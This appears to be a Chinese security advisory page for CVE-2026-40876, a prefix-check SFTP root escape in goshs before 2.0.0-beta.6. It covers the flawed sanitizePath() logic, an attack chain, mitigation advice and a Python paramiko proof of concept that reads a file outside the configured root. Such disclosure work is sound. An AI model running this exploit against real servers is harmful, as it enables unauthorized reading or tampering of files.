IPBUF安全漏洞报告
English
CVE-2026-40876 CVSS 8.8 高危

CVE-2026-40876 goshs SFTP目录遍历漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40876
漏洞类型
目录遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

目录遍历goshsSFTP路径穿越CVE-2026-40876

漏洞概述

Goshs (Go编写的SimpleHTTPServer) 在2.0.0-beta.6之前的版本中存在SFTP根目录逃逸漏洞。由于基于前缀的路径验证缺陷,经过身份认证的SFTP用户可以绕过预期的安全边界,读写服务器文件系统上配置的SFTP根目录之外的任意文件。该漏洞可能导致敏感信息泄露或恶意修改服务器文件,安全性影响较高。

技术细节

该漏洞源于 `sftpserver/helper.go` 中的 `sanitizePath()` 函数使用了不安全的原始字符串前缀比较,而非严格的目录边界检查。漏洞触发点位于SFTP子系统处理请求时,通过 `sftpserver/sftpserver.go` 路由至 `DefaultHandler.GetHandler()`,进而调用 `readFile`、`writeFile` 等操作。例如,若配置的SFTP根目录为 `/tmp/goshsroot`,攻击者构造路径 `/tmp/goshsroot_evil/secret.txt` 时,该路径以 `/tmp/goshsroot` 开头,因此能通过 `sanitizePath()` 的验证。实际上,由于缺少对路径分隔符(如 `/`)的边界检查,攻击者成功逃逸出限制目录,实现了对父级目录或同级目录文件的读写操作,破坏了沙箱机制。这种前缀匹配逻辑的缺陷使得攻击者无需特殊权限即可突破文件访问限制,对系统安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是goshs服务,且版本低于2.0.0-beta.6。
STEP 2
利用
攻击者使用获取的低权限SFTP账号连接服务器,并构造包含根目录前缀但指向外部路径的恶意请求(如/tmp/goshsroot_evil/secret.txt)。
STEP 3
逃逸
由于sanitizePath()仅检查前缀,恶意请求通过验证,攻击者成功绕过SFTP根目录限制。
STEP 4
影响
攻击者读取或写入配置根目录之外的敏感文件,导致数据泄露或系统被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paramiko import sys # CVE-2026-40876 PoC: goshs SFTP Root Escape # Description: Exploits prefix-based path validation to read files outside the root. def exploit(target, port, username, password): try: transport = paramiko.Transport((target, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) # Assume configured root is /tmp/goshsroot # Attempt to read /tmp/goshsroot_evil/secret.txt using the prefix bypass malicious_path = "/tmp/goshsroot_evil/secret.txt" print(f"[*] Attempting to read: {malicious_path}") try: with sftp.file(malicious_path, 'r') as f: data = f.read() print("[+] Success! File content:") print(data.decode()) except IOError as e: print(f"[-] Failed to read file: {e}") sftp.close() transport.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print("Usage: python3 poc.py <target_ip> <port> <username> <password>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

影响范围

goshs < 2.0.0-beta.6

防御指南

临时缓解措施
如果无法立即升级,建议限制SFTP服务的网络访问权限,仅允许可信IP连接,或暂时禁用SFTP功能直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表